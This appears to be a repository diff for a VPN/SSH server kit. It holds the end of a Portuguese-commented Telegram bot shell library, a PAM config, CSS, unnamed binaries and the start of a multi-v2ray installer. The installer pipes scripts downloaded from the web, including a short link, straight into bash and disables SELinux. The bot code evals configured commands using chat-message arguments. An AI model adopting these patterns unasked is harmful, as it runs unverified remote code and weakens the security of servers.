+		[[ ${u_message_chat_username:=${edited_message_chat_username[$uid]}} 			]] ||
+		[[ ${u_message_chat_username:=${callback_query_message_chat_username[$uid]}}	]]
+
+		[[ ${u_message_chat_type:=${message_chat_type[$uid]}} 					]] ||
+		[[ ${u_message_chat_type:=${edited_message_chat_type[$uid]}} 			]] ||
+		[[ ${u_message_chat_type:=${callback_query_message_chat_type[$uid]}}	]] ||
+		[[ ${u_message_chat_type:=${channel_post_chat_type[$uid]}}				]] ||
+		[[ ${u_message_chat_type:=${edited_channel_post_chat_type[$uid]}}		]]
+
+		[[ ${u_message_date:=${message_date[$uid]}} 				]] ||
+		[[ ${u_message_date:=${edited_message_edit_date[$uid]}} 	]] ||
+		[[ ${u_message_date:=${callback_query_message_date[$uid]}}	]] ||
+		[[ ${u_message_date:=${channel_post_date[$uid]}}			]] ||
+		[[ ${u_message_date:=${edited_channel_post_date[$uid]}}		]]
+
+		[[ ${u_message_entities_type:=${message_entities_type[$uid]}} 					]] ||
+		[[ ${u_message_entities_type:=${edited_message_entities_type[$uid]}} 			]] ||
+		[[ ${u_message_entities_type:=${callback_query_message_entities_type[$uid]}}	]] ||
+		[[ ${u_message_entities_type:=${channel_post_entities_type[$uid]}}				]] ||
+		[[ ${u_message_entities_type:=${edited_channel_post_entities_type[$uid]}}		]]
+
+		[[ ${u_message_mime_type:=${message_document_mime_type[$uid]}} 		]] ||
+		[[ ${u_message_mime_type:=${message_video_mime_type[$uid]}} 		]] ||
+		[[ ${u_message_mime_type:=${message_audio_mime_type[$uid]}} 		]] ||
+		[[ ${u_message_mime_type:=${message_voice_mime_type[$uid]}}			]] ||
+		[[ ${u_message_mime_type:=${channel_post_document_mime_type[$uid]}} ]]
+
+		[[ ${u_message_author_signature:=${channel_post_author_signature[$uid]}} 		]] ||
+		[[ ${u_message_author_signature:=${edited_channel_post_author_signature[$uid]}} ]]
+
+		# Regras
+		for ((i=0; i < _BOT_RULES_INDEX_; i++)); do
+		
+			IFS=' ' read -ra args <<< $u_message_text
+			
+			[[ ! ${_BOT_RULES_[$i:num_args]}			||	${#args[@]}							== @(${_BOT_RULES_[$i:num_args]})						]]	&&
+			[[ ! ${_BOT_RULES_[$i:command]}				||	${u_message_text%% *}				== @(${_BOT_RULES_[$i:command]})?(@${_BOT_INFO_[3]}) 	]]	&&
+			[[ ! ${_BOT_RULES_[$i:message_id]} 			||	$u_message_id 						== @(${_BOT_RULES_[$i:message_id]})						]] 	&&
+			[[ ! ${_BOT_RULES_[$i:is_bot]} 				||	$u_message_from_is_bot				== @(${_BOT_RULES_[$i:is_bot]})							]]	&&
+			[[ ! ${_BOT_RULES_[$i:user_id]}				||	$u_message_from_id					== @(${_BOT_RULES_[$i:user_id]})						]]	&&
+			[[ ! ${_BOT_RULES_[$i:username]}			||	$u_message_from_username			== @(${_BOT_RULES_[$i:username]})						]]	&&
+			[[ ! ${_BOT_RULES_[$i:language]}			||	$u_message_from_language_code		== @(${_BOT_RULES_[$i:language]})						]]	&&
+			[[ ! ${_BOT_RULES_[$i:chat_id]}				||	$u_message_chat_id					== @(${_BOT_RULES_[$i:chat_id]})						]] 	&&
+			[[ ! ${_BOT_RULES_[$i:chat_name]}			||	$u_message_chat_username			== @(${_BOT_RULES_[$i:chat_name]})						]] 	&&
+			[[ ! ${_BOT_RULES_[$i:chat_type]}			||	$u_message_chat_type				== @(${_BOT_RULES_[$i:chat_type]})						]]	&&
+			[[ ! ${_BOT_RULES_[$i:author_signature]}	||	$u_message_author_signature			== @(${_BOT_RULES_[$i:author_signature]})				]]	&&
+			[[ ! ${_BOT_RULES_[$i:mime_type]}			||	$u_message_mime_type				== @(${_BOT_RULES_[$i:mime_type]})						]]	&&
+			[[ ! ${_BOT_RULES_[$i:query_id]}			||	${callback_query_id[$uid]}			== @(${_BOT_RULES_[$i:query_id]})						]]	&&
+			[[ ! ${_BOT_RULES_[$i:query_data]}			||	${callback_query_data[$uid]}		== @(${_BOT_RULES_[$i:query_data]})						]]	&&
+			[[ ! ${_BOT_RULES_[$i:weekday]}				|| 	$(printf '%(%u)T' $u_message_date) 	== @(${_BOT_RULES_[$i:weekday]})						]]	&&
+			[[ ! ${_BOT_RULES_[$i:text]}				||	$u_message_text						=~ ${_BOT_RULES_[$i:text]}								]]	|| continue
+
+			# Extrai os arquivos do conjunto negado. Caso esteja ausente
+			# define a expressão padrão.
+			# Captura os grupos contidos no padrão, separando o
+	   		# operador de negação '!' (se presente) para determinar o 
+			# tratamento de valição do intervalo.
+			#
+			# Exemplo 1:
+			#              
+			#       BASH_REMATCH[2]
+			#    __________|__________
+			#   |                     |
+			# !(12:00-13:00,15:00-17:00)
+			# |
+			# |_ BASH_REMATCH[1]
+			#
+			re='^(!)\(([^)]+)\)$'
+
+			[[ ${_BOT_RULES_[$i:auth_file]} =~ $re ]]
+			match=${BASH_REMATCH[2]:-${_BOT_RULES_[$i:auth_file]}}
+			
+			for file in ${match//|/ }; do
+				# Testa acesso ao arquivo.
+				if ! [[ -f "$file" && -r "$file" ]]; then
+					MessageError API "'$file' $_ERR_FILE_NOT_FOUND_" "${_BOT_RULES_[$i:name]}" '[-T, --auth_file]'
+				fi
+
+				# Lê os usuários removendo os comentários complementares
+				# e ignora a linha prefixada com hashtag '#'.	
+				while read -r line; do
+					user=${line%%*( )#*}
+					[[ $user != *( )#* ]] 													&&
+					[[ $user == $u_message_from_id || $user == $u_message_from_username	]] 	&& break 2
+				done < "$file"
+			done
+
+			((${BASH_REMATCH[1]} $?)) && continue
+	
+			for msgstatus in ${_BOT_RULES_[$i:message_status]//|/ }; do
+				[[ $msgstatus == pinned		&& ${message_pinned_message_message_id[$uid]:-${channel_post_pinned_message_message_id[$uid]}} 		]] 	||
+				[[ $msgstatus == edited 	&& ${edited_message_message_id[$uid]:-${edited_channel_post_message_id[$uid]}}						]] 	||
+				[[ $msgstatus == forwarded	&& ${message_forward_from_id[$uid]:-${channel_post_forward_from_chat_id[$uid]}}						]]	||
+				[[ $msgstatus == reply		&& ${message_reply_to_message_message_id[$uid]:-${channel_post_reply_to_message_message_id[$uid]}}	]] 	||
+				[[ $msgstatus == callback	&& ${callback_query_message_message_id[$uid]}														]]	||
+				[[ $msgstatus == inline		&& ${inline_query_id[$uid]}																			]]	||
+				[[ $msgstatus == chosen		&& ${chosen_inline_result_result_id[$uid]}															]]	||
+				[[ $msgstatus == poll		&& ${poll_answer_poll_id[$uid]}																		]]	&& break
+			done
+				
+			(($?)) && continue
+
+			for ent in ${_BOT_RULES_[$i:entities_type]//|/ }; do
+				[[ $ent == @(${u_message_entities_type//$_BOT_DELM_/|})	]] 	&& break
+			done
+
+			(($?)) && continue
+	
+			for mem in ${_BOT_RULES_[$i:chat_member]//|/ }; do
+				[[ $mem == new 	&& ${message_new_chat_member_id[$uid]} 	]] ||
+				[[ $mem == left	&& ${message_left_chat_member_id[$uid]} ]] && break
+			done
+			
+			(($?)) && continue
+
+			for type in ${_BOT_RULES_[$i:file_type]//|/ }; do
+				[[ $type == document 	&& ${message_document_file_id[$uid]:-${channel_post_document_file_id[$uid]}} &&
+										 ! ${message_document_thumb_file_id[$uid]:-${channel_post_document_thumb_file_id[$uid]}}	]] 	||
+				[[ $type == gif 		&& ${message_document_file_id[$uid]:-${channel_post_document_file_id[$uid]}} &&
+										   ${message_document_thumb_file_id[$uid]:-${channel_post_document_thumb_file_id[$uid]}}	]] 	||
+				[[ $type == photo		&& ${message_photo_file_id[$uid]:-${channel_post_photo_file_id[$uid]}}						]] 	||
+				[[ $type == sticker 	&& ${message_sticker_file_id[$uid]:-${channel_post_sticker_file_id[$uid]}}					]]	||
+				[[ $type == video		&& ${message_video_file_id[$uid]:-${channel_post_video_file_id[$uid]}}						]]	||
+				[[ $type == audio		&& ${message_audio_file_id[$uid]:-${channel_post_audio_file_id[$uid]}}						]]	||
+				[[ $type == voice		&& ${message_voice_file_id[$uid]:-${channel_post_voice_file_id[$uid]}}						]]	||
+				[[ $type == contact		&& ${message_contact_user_id[$uid]:-${channel_post_contact_user_id[$uid]}}					]]	||
+				[[ $type == location	&& ${message_location_latitude[$uid]:-${channel_post_location_latitude[$uid]}}				]]	&& break
+			done
+
+			(($?)) && continue
+			
+			[[ ${_BOT_RULES_[$i:time]} =~ $re ]]
+			match=${BASH_REMATCH[2]:-${_BOT_RULES_[$i:time]}}
+
+			for tm in ${match//|/ }; do
+				IFS='-' read stime etime <<< $tm
+				printf -v ctime '%(%H:%M)T' $u_message_date
+
+				[[ $ctime == @($stime|$etime) 			]]	||
+				[[ $ctime > $stime && $ctime < $etime 	]]	&& break
+			done
+					
+			((${BASH_REMATCH[1]} $?)) && continue
+
+			[[ ${_BOT_RULES_[$i:date]} =~ $re ]]
+			match=${BASH_REMATCH[2]:-${_BOT_RULES_[$i:date]}}
+
+			for dt in ${match//|/ }; do
+
+				IFS='-' read sdate edate <<< $dt
+				IFS='/' read -a sdate <<< $sdate
+				IFS='/' read -a edate <<< $edate
+					
+				sdate=${sdate[2]}/${sdate[1]}/${sdate[0]}
+				edate=${edate[2]}/${edate[1]}/${edate[0]}
+
+				printf -v cdate '%(%Y/%m/%d)T' $u_message_date
+					
+				[[ $cdate == @($sdate|$edate) 			]] 	||
+				[[ $cdate > $sdate && $cdate < $edate 	]]	&& break
+			done
+			
+			((${BASH_REMATCH[1]} $?)) && continue
+
+			if [[ ${_BOT_RULES_[$i:user_status]} ]]; then
+				case $_BOT_TYPE_RETURN_ in
+					value)
+						out=$(ShellBot.getChatMember 	--chat_id $u_message_chat_id \
+														--user_id $u_message_from_id 2>/dev/null)
+							
+						IFS=$_BOT_DELM_ read -a out <<< $out
+						[[ ${out[2]} == true ]]
+						status=${out[$(($? ? 6 : 5))]}
+						;;
+					json)
+						out=$(ShellBot.getChatMember 	--chat_id $u_message_chat_id \
+														--user_id $u_message_from_id 2>/dev/null)
+							
+						status=$(Json '.result.status' $out)
+						;;
+					map)	
+						ShellBot.getChatMember 	--chat_id $u_message_chat_id \
+												--user_id $u_message_from_id &>/dev/null
+
+						status=${return[status]}
+						;;
+				esac
+				[[ $status == @(${_BOT_RULES_[$i:user_status]}) ]] || continue
+			fi
+			
+			# Monitor
+			[[ $_BOT_MONITOR_ ]]	&& 	printf '[%s]: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s\n'	\
+										"${FUNCNAME}"											\
+										"$((uid+1))"											\
+										"$(printf '%(%d/%m/%Y %H:%M:%S)T' ${u_message_date})"	\
+										"${u_message_chat_type}"								\
+										"${u_message_chat_username:--}"							\
+										"${u_message_from_username:--}"							\
+										"${_BOT_RULES_[$i:source]}"								\
+										"${_BOT_RULES_[$i:line]}"								\
+										"${_BOT_RULES_[$i:name]}" 								\
+										"${_BOT_RULES_[$i:action]:--}"							\
+										"${_BOT_RULES_[$i:exec]:--}"
+			
+			# Log	
+			[[ $_BOT_LOG_FILE_ ]] 	&&	printf '%s: %s: %s: %s: %s: %s: %s\n'	\
+									 	"$(printf '%(%d/%m/%Y %H:%M:%S)T')"		\
+								 	 	"${FUNCNAME}"							\
+									 	"${_BOT_RULES_[$i:source]}"				\
+									 	"${_BOT_RULES_[$i:line]}"				\
+									 	"${_BOT_RULES_[$i:name]}"				\
+										"${_BOT_RULES_[$i:action]:--}"			\
+										"${_BOT_RULES_[$i:exec]:--}"			>> "$_BOT_LOG_FILE_"
+
+			# Anexa tipo da ação. (se presente)
+			if [[ ${_BOT_RULES_[$i:bot_action]} ]]; then
+				ShellBot.sendChatAction --chat_id $u_message_chat_id --action ${_BOT_RULES_[$i:bot_action]} &>/dev/null
+			fi
+
+			if [[ ${_BOT_RULES_[$i:bot_reply_message]} ]]; then
+				ShellBot.sendMessage	--chat_id $u_message_chat_id 																\
+										--reply_to_message_id $u_message_id															\
+										--text "$(FlagConv $uid "${_BOT_RULES_[$i:bot_reply_message]}")" 							\
+										${_BOT_RULES_[$i:bot_reply_markup]:+--reply_markup "${_BOT_RULES_[$i:bot_reply_markup]}"} 	\
+										${_BOT_RULES_[$i:bot_parse_mode]:+--parse_mode ${_BOT_RULES_[$i:bot_parse_mode]}} 			&>/dev/null
+			fi
+				
+			if [[ ${_BOT_RULES_[$i:bot_send_message]} ]]; then
+				ShellBot.sendMessage	--chat_id $u_message_chat_id 																\
+										--text "$(FlagConv $uid "${_BOT_RULES_[$i:bot_send_message]}")"								\
+										${_BOT_RULES_[$i:bot_reply_markup]:+--reply_markup "${_BOT_RULES_[$i:bot_reply_markup]}"} 	\
+										${_BOT_RULES_[$i:bot_parse_mode]:+--parse_mode ${_BOT_RULES_[$i:bot_parse_mode]}} 			&>/dev/null
+			fi
+
+			for fwid in ${_BOT_RULES_[$i:bot_forward_message]//|/ }; do
+				ShellBot.forwardMessage		--chat_id $fwid						\
+											--from_chat_id $u_message_chat_id 	\
+											--message_id $u_message_id			&>/dev/null
+			done
+
+			# Chama a função passando os argumentos posicionais. (se existir)
+			${_BOT_RULES_[$i:action]:+${_BOT_RULES_[$i:action]} ${_BOT_RULES_[$i:action_args]:-${args[*]}}}
+		
+			# Executa a linha de comando e salva o retorno.
+			stdout=${_BOT_RULES_[$i:exec]:+$(set -- ${args[*]}; eval $(FlagConv $uid "${_BOT_RULES_[$i:exec]}") 2>&1)}
+
+			while [[ $stdout ]]; do
+				ShellBot.sendMessage	--chat_id $u_message_chat_id 			\
+										--reply_to_message_id $u_message_id		\
+										--text "${stdout:0:4096}"				&>/dev/null
+
+				# Atualiza o buffer de saída.
+				stdout=${stdout:4096}
+			
+				# Reenvia ação se ainda houver dados.	
+				if [[ ${_BOT_RULES_[$i:bot_action]} && $stdout ]]; then
+					ShellBot.sendChatAction --chat_id $u_message_chat_id --action ${_BOT_RULES_[$i:bot_action]} &>/dev/null
+				fi
+			done 
+			[[ ${_BOT_RULES_[$i:continue]} ]] || return 0
+		done
+
+		return 1
+	}
+
+    ShellBot.getUpdates()
+    {
+    	local total_keys offset limit timeout allowed_updates jq_obj
+	local vet val var obj oldv bar vars vals i
+
+	# Define os parâmetros da função
+	local param=$(getopt 	--name "$FUNCNAME" \
+				--options 'o:l:t:a:' \
+				--longoptions 'offset:,
+						limit:,
+						timeout:,
+						allowed_updates:' \
+				-- "$@")
+    
+	eval set -- "$param"
+
+    	while :
+    	do
+    		case $1 in
+    			-o|--offset)
+    				CheckArgType int "$1" "$2"
+    				offset=$2
+    				shift 2
+    				;;
+    			-l|--limit)
+    				CheckArgType int "$1" "$2"
+    				limit=$2
+    				shift 2
+    				;;
+    			-t|--timeout)
+    				CheckArgType int "$1" "$2"
+    				timeout=$2
+    				shift 2
+    				;;
+    			-a|--allowed_updates)
+    				allowed_updates=$2
+    				shift 2
+    				;;
+    			--)
+    				# Se não houver mais parâmetros
+    				shift 
+    				break
+    				;;
+    		esac
+    	done
+    	
+		# Seta os parâmetros
+		jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} \
+								${offset:+-d offset="$offset"} \
+								${limit:+-d limit="$limit"} \
+								${timeout:+-d timeout="$timeout"} \
+								${allowed_updates:+-d allowed_updates="$allowed_updates"})
+
+
+		# Limpa as variáveis inicializadas.
+		unset $_VAR_INIT_; _VAR_INIT_=
+		
+		# Se há atualizações.
+    	[[ $(jq -r '.result|length' <<< $jq_obj) -eq 0 ]] && return 0
+	
+		# Se o método 'ShellBot.getUpdates' for invocado a partir de um subshell,
+		# as atualizações são retornadas em um estrutura de dados json, o método
+		# é finalizado e variáveis não são inicializadas.
+		[[ $BASH_SUBSHELL -gt 0 ]] && { echo "$jq_obj"; return 0; }
+
+		if [[ $_BOT_MONITOR_ ]]; then
+			printf -v bar '=%.s' {1..50}
+			printf "$bar\nData: %(%d/%m/%Y %T)T\n"
+			printf 'Script: %s\nBot (nome): %s\nBot (usuario): %s\nBot (id): %s\n' 	\
+					"${_BOT_SCRIPT_}" 												\
+					"${_BOT_INFO_[2]}" 												\
+					"${_BOT_INFO_[3]}" 												\
+					"${_BOT_INFO_[1]}"
+		fi
+		
+		mapfile -t vars <<< $(GetAllKeys "$jq_obj")
+		mapfile -t vals <<< $(GetAllValues "$jq_obj")
+
+		for i in ${!vars[@]}; do
+	
+			[[ ${vars[$i]} =~ [0-9]+ ]]
+			vet=${BASH_REMATCH:-0}
+			
+			var=${vars[$i]//[0-9\[\]]/}
+			var=${var#result.}
+			var=${var//./_}
+	
+			declare -g $var
+			local -n byref=$var # ponteiro
+						
+			val=${vals[$i]}
+			val=${val#\"}
+			val=${val%\"}
+
+			byref[$vet]+=${byref[$vet]:+$_BOT_DELM_}${val}
+
+			if [[ $_BOT_MONITOR_ ]]; then
+				[[ $vet -ne ${oldv:--1} ]] && printf "$bar\nMensagem: %d\n$bar\n" $((vet+1))
+				printf "[%s]: %s = '%s'\n" "$FUNCNAME" "$var" "$val"
+				oldv=$vet
+			fi
+	
+			unset -n byref
+			[[ $var != @(${_VAR_INIT_// /|}) ]] && _VAR_INIT_=${_VAR_INIT_:+$_VAR_INIT_ }${var}
+		done
+	
+		# Log (thread)	
+		[[ $_BOT_LOG_FILE_ ]] && CreateLog "${#update_id[@]}" "$jq_obj"
+
+   		 # Status
+   	 	return $?
+	}
+   
+	# Bot métodos (somente leitura)
+	readonly -f ShellBot.token 								\
+				ShellBot.id 								\
+				ShellBot.username 							\
+				ShellBot.first_name 						\
+				ShellBot.getConfig							\
+				ShellBot.regHandleFunction 					\
+				ShellBot.regHandleExec						\
+				ShellBot.watchHandle 						\
+				ShellBot.ListUpdates 						\
+				ShellBot.TotalUpdates 						\
+				ShellBot.OffsetEnd 							\
+				ShellBot.OffsetNext 						\
+				ShellBot.getMe 								\
+				ShellBot.getWebhookInfo 					\
+				ShellBot.deleteWebhook 						\
+				ShellBot.setWebhook 						\
+				ShellBot.init 								\
+				ShellBot.ReplyKeyboardMarkup 				\
+				ShellBot.ForceReply							\
+				ShellBot.ReplyKeyboardRemove				\
+				ShellBot.KeyboardButton						\
+				ShellBot.sendMessage 						\
+				ShellBot.forwardMessage 					\
+				ShellBot.sendPhoto 							\
+				ShellBot.sendAudio 							\
+				ShellBot.sendDocument 						\
+				ShellBot.sendSticker 						\
+				ShellBot.sendVideo 							\
+				ShellBot.sendVideoNote 						\
+				ShellBot.sendVoice 							\
+				ShellBot.sendLocation 						\
+				ShellBot.sendVenue 							\
+				ShellBot.sendContact 						\
+				ShellBot.sendChatAction 					\
+				ShellBot.getUserProfilePhotos 				\
+				ShellBot.getFile 							\
+				ShellBot.kickChatMember 					\
+				ShellBot.leaveChat 							\
+				ShellBot.unbanChatMember 					\
+				ShellBot.getChat 							\
+				ShellBot.getChatAdministrators 				\
+				ShellBot.getChatMembersCount 				\
+				ShellBot.getChatMember 						\
+				ShellBot.editMessageText 					\
+				ShellBot.editMessageCaption 				\
+				ShellBot.editMessageReplyMarkup 			\
+				ShellBot.InlineKeyboardMarkup 				\
+				ShellBot.InlineKeyboardButton 				\
+				ShellBot.answerCallbackQuery 				\
+				ShellBot.deleteMessage 						\
+				ShellBot.exportChatInviteLink 				\
+				ShellBot.setChatPhoto 						\
+				ShellBot.deleteChatPhoto 					\
+				ShellBot.setChatTitle 						\
+				ShellBot.setChatDescription 				\
+				ShellBot.pinChatMessage 					\
+				ShellBot.unpinChatMessage 					\
+				ShellBot.promoteChatMember 					\
+				ShellBot.restrictChatMember 				\
+				ShellBot.getStickerSet 						\
+				ShellBot.uploadStickerFile 					\
+				ShellBot.createNewStickerSet 				\
+				ShellBot.addStickerToSet 					\
+				ShellBot.setStickerPositionInSet 			\
+				ShellBot.deleteStickerFromSet 				\
+				ShellBot.stickerMaskPosition 				\
+				ShellBot.downloadFile 						\
+				ShellBot.editMessageLiveLocation 			\
+				ShellBot.stopMessageLiveLocation 			\
+				ShellBot.setChatStickerSet 					\
+				ShellBot.deleteChatStickerSet 				\
+				ShellBot.sendMediaGroup 					\
+				ShellBot.editMessageMedia 					\
+				ShellBot.inputMedia 						\
+				ShellBot.sendAnimation 						\
+				ShellBot.answerInlineQuery					\
+				ShellBot.InlineQueryResult					\
+				ShellBot.InputMessageContent				\
+				ShellBot.ChatPermissions 					\
+				ShellBot.setChatPermissions 				\
+				ShellBot.setChatAdministratorCustomTitle 	\
+				ShellBot.sendPoll							\
+				ShellBot.KeyboardButtonPollType				\
+				ShellBot.sendDice							\
+				ShellBot.getMyCommands						\
+				ShellBot.setMyCommands						\
+				ShellBot.BotCommand							\
+				ShellBot.setMessageRules 					\
+				ShellBot.manageRules 						\
+				ShellBot.getUpdates
+
+	offset=${_BOT_FLUSH_:+$(FlushOffset)}	# flush
+	printf -v jq_obj '{"token":"%s","id":%d,"first_name":"%s","username":"%s","offset_start":%d,"offset_end":%d}'	\
+						"${_BOT_INFO_[0]}" 	\
+						"${_BOT_INFO_[1]}" 	\
+						"${_BOT_INFO_[2]}" 	\
+						"${_BOT_INFO_[3]}" 	\
+						"${offset%|*}"		\
+						"${offset#*|}"
+
+	# Retorna informações do bot.
+	MethodReturn "$jq_obj"
+
+   	return $?
+}
+
+# Funções (somente leitura)
+readonly -f MessageError 		\
+			Json 				\
+			FlushOffset 		\
+			CreateUnitService 	\
+			GetAllKeys 			\
+			GetAllValues 		\
+			SetDelmValues		\
+			MethodReturn 		\
+			CheckArgType 		\
+			CreateLog			\
+			FlagConv
+
+# /* SHELLBOT */

+ 1 - 0
LINKS-LIBRERIAS/Version

@@ -0,0 +1 @@
+8.2

BIN
LINKS-LIBRERIAS/backsocz.zip


BIN
LINKS-LIBRERIAS/badvpn-udpgw


+ 4 - 0
LINKS-LIBRERIAS/cambios

@@ -0,0 +1,4 @@
+ - SO Compatibles Ubuntu's 14,16,18,20,21
+ - S.O 14 y 16 Sin soporte a panel V2ray
+ - Registro Backup SSH 
+ - Registro Backup v2ray

+ 33 - 0
LINKS-LIBRERIAS/common-password

@@ -0,0 +1,33 @@
+#
+# /etc/pam.d/common-password - password-related modules common to all services
+#
+# This file is included from other service-specific PAM config files,
+# and should contain a list of modules that define the services to be
+# used to change user passwords.  The default is pam_unix.
+
+# Explanation of pam_unix options:
+#
+# The "sha512" option enables salted SHA512 passwords.  Without this option,
+# the default is Unix crypt.  Prior releases used the option "md5".
+#
+# The "obscure" option replaces the old `OBSCURE_CHECKS_ENAB' option in
+# login.defs.
+#
+# See the pam_unix manpage for other options.
+
+# As of pam 1.0.1-6, this file is managed by pam-auth-update by default.
+# To take advantage of this, it is recommended that you configure any
+# local modules either before or after the default block, and use
+# pam-auth-update to manage selection of other modules.  See
+# pam-auth-update(8) for details.
+
+# here are the per-package modules (the "Primary" block)
+password	[success=1 default=ignore]	pam_unix.so obscure sha512
+# here's the fallback if no module succeeds
+password	requisite			pam_deny.so
+# prime the stack with a positive return value if there isn't one already;
+# this avoids us returning an error just because nothing sets a success code
+# since the modules above will each just jump around
+password	required			pam_permit.so
+# and here are more per-package modules (the "Additional" block)
+# end of pam-auth-update config

BIN
LINKS-LIBRERIAS/dns-server


+ 26 - 0
LINKS-LIBRERIAS/estilos.css

@@ -0,0 +1,26 @@
+/* Estilo para el cuerpo de página */
+body {
+  padding: 20px;
+}
+
+/* Estilo para el encabezado h1 */
+h1 {
+  color: royalblue;
+}
+
+/* Estilo para indicar la fecha y hora de última actualización */
+#ultact {
+  font-style: italic;
+}
+
+/* Estilo para un servicio que se encuentra corriendo */
+.encendido {
+  color: forestgreen;
+  font-weight: bold;
+}
+
+/* Estilo para un servicio que se encuentra detenido */
+.detenido {
+  color: firebrick;
+  font-weight: bold;
+}

+ 318 - 0
LINKS-LIBRERIAS/install-v2ray.sh

@@ -0,0 +1,318 @@
+#!/bin/bash
+# Author: Jrohy
+# github: https://github.com/Jrohy/multi-v2ray
+
+#定时任务北京执行时间(0~23)
+BEIJING_UPDATE_TIME=3
+
+#记录最开始运行脚本的路径
+BEGIN_PATH=$(pwd)
+
+#安装方式, 0为全新安装, 1为保留v2ray配置更新
+INSTALL_WAY=0
+
+#定义操作变量, 0为否, 1为是
+HELP=0
+
+REMOVE=0
+
+CHINESE=0 
+
+BASE_SOURCE_PATH="https://multi.netlify.app"
+
+CLEAN_IPTABLES_SHELL="$BASE_SOURCE_PATH/v2ray_util/global_setting/clean_iptables.sh"
+
+BASH_COMPLETION_SHELL="$BASE_SOURCE_PATH/v2ray.bash"
+
+UTIL_CFG="$BASE_SOURCE_PATH/v2ray_util/util_core/util.cfg"
+
+UTIL_PATH="/etc/v2ray_util/util.cfg"
+
+#Centos 临时取消别名
+[[ -f /etc/redhat-release && -z $(echo $SHELL|grep zsh) ]] && unalias -a
+
+[[ -z $(echo $SHELL|grep zsh) ]] && ENV_FILE=".bashrc" || ENV_FILE=".zshrc"
+
+#######color code########
+RED="31m"
+GREEN="32m"
+YELLOW="33m"
+BLUE="36m"
+FUCHSIA="35m"
+
+colorEcho(){
+    COLOR=$1
+    echo -e "\033[${COLOR}${@:2}\033[0m"
+}
+
+#######get params#########
+while [[ $# > 0 ]];do
+    key="$1"
+    case $key in
+        --remove)
+        REMOVE=1
+        ;;
+        -h|--help)
+        HELP=1
+        ;;
+        -k|--keep)
+        INSTALL_WAY=1
+        colorEcho ${BLUE} "keep v2ray profile to update\n"
+        ;;
+        --zh)
+        CHINESE=1
+        colorEcho ${BLUE} "安装中文版..\n"
+        ;;
+        *)
+                # unknown option
+        ;;
+    esac
+    shift # past argument or value
+done
+#############################
+
+help(){
+    echo "bash multi-v2ray.sh [-h|--help] [-k|--keep] [--remove]"
+    echo "  -h, --help           Show help"
+    echo "  -k, --keep           keep the v2ray config.json to update"
+    echo "      --remove         remove v2ray && multi-v2ray"
+    echo "                       no params to new install"
+    return 0
+}
+
+removeV2Ray() {
+    #卸载V2ray官方脚本
+    systemctl stop v2ray  >/dev/null 2>&1
+    systemctl disable v2ray  >/dev/null 2>&1
+    service v2ray stop  >/dev/null 2>&1
+    update-rc.d -f v2ray remove  >/dev/null 2>&1
+    rm -rf  /etc/v2ray/  >/dev/null 2>&1
+    rm -rf /usr/bin/v2ray  >/dev/null 2>&1
+    rm -rf /var/log/v2ray/  >/dev/null 2>&1
+    rm -rf /lib/systemd/system/v2ray.service  >/dev/null 2>&1
+    rm -rf /etc/init.d/v2ray  >/dev/null 2>&1
+
+    #清理v2ray相关iptable规则
+    bash <(curl -L -s $CLEAN_IPTABLES_SHELL)
+
+    #卸载multi-v2ray
+    pip uninstall v2ray_util -y
+    rm -rf /etc/bash_completion.d/v2ray.bash >/dev/null 2>&1
+    rm -rf /usr/local/bin/v2ray >/dev/null 2>&1
+    rm -rf /etc/v2ray_util >/dev/null 2>&1
+
+    #删除v2ray定时更新任务
+    crontab -l|sed '/SHELL=/d;/v2ray/d' > crontab.txt
+    crontab crontab.txt >/dev/null 2>&1
+    rm -f crontab.txt >/dev/null 2>&1
+
+    if [[ ${OS} == 'CentOS' || ${OS} == 'Fedora' ]];then
+        service crond restart >/dev/null 2>&1
+    else
+        service cron restart >/dev/null 2>&1
+    fi
+
+    #删除multi-v2ray环境变量
+    sed -i '/v2ray/d' ~/$ENV_FILE
+    source ~/$ENV_FILE
+
+    colorEcho ${GREEN} "uninstall success!"
+}
+
+closeSELinux() {
+    #禁用SELinux
+    if [ -s /etc/selinux/config ] && grep 'SELINUX=enforcing' /etc/selinux/config; then
+        sed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/selinux/config
+        setenforce 0
+    fi
+}
+
+checkSys() {
+    #检查是否为Root
+    [ $(id -u) != "0" ] && { colorEcho ${RED} "Error: You must be root to run this script"; exit 1; }
+
+    #检查系统信息
+    if [[ -e /etc/redhat-release ]];then
+        if [[ $(cat /etc/redhat-release | grep Fedora) ]];then
+            OS='Fedora'
+            PACKAGE_MANAGER='dnf'
+        else
+            OS='CentOS'
+            PACKAGE_MANAGER='yum'
+        fi
+    elif [[ $(cat /etc/issue | grep Debian) ]];then
+        OS='Debian'
+        PACKAGE_MANAGER='apt-get'
+    elif [[ $(cat /etc/issue | grep Ubuntu) ]];then
+        OS='Ubuntu'
+        PACKAGE_MANAGER='apt-get'
+    elif [[ $(cat /etc/issue | grep Raspbian) ]];then
+        OS='Raspbian'
+        PACKAGE_MANAGER='apt-get'
+    else
+        colorEcho ${RED} "Not support OS, Please reinstall OS and retry!"
+        exit 1
+    fi
+}
+
+#安装依赖
+installDependent(){
+    if [[ ${OS} == 'CentOS' || ${OS} == 'Fedora' ]];then
+        ${PACKAGE_MANAGER} install ntpdate socat crontabs lsof which -y
+    else
+        ${PACKAGE_MANAGER} update
+        ${PACKAGE_MANAGER} install ntpdate socat cron lsof -y
+    fi
+
+    #install python3 & pip3
+    bash <(curl -sL https://git.io/fhqMz)
+}
+
+#设置定时升级任务
+planUpdate(){
+    if [[ $CHINESE == 1 ]];then
+        #计算北京时间早上3点时VPS的实际时间
+        ORIGIN_TIME_ZONE=$(date -R|awk '{printf"%d",$6}')
+        LOCAL_TIME_ZONE=${ORIGIN_TIME_ZONE%00}
+        BEIJING_ZONE=8
+        DIFF_ZONE=$[$BEIJING_ZONE-$LOCAL_TIME_ZONE]
+        LOCAL_TIME=$[$BEIJING_UPDATE_TIME-$DIFF_ZONE]
+        if [ $LOCAL_TIME -lt 0 ];then
+            LOCAL_TIME=$[24+$LOCAL_TIME]
+        elif [ $LOCAL_TIME -ge 24 ];then
+            LOCAL_TIME=$[$LOCAL_TIME-24]
+        fi
+        colorEcho ${BLUE} "beijing time ${BEIJING_UPDATE_TIME}, VPS time: ${LOCAL_TIME}\n"
+    else
+        LOCAL_TIME=3
+    fi
+    OLD_CRONTAB=$(crontab -l)
+    echo "SHELL=/bin/bash" >> crontab.txt
+    echo "${OLD_CRONTAB}" >> crontab.txt
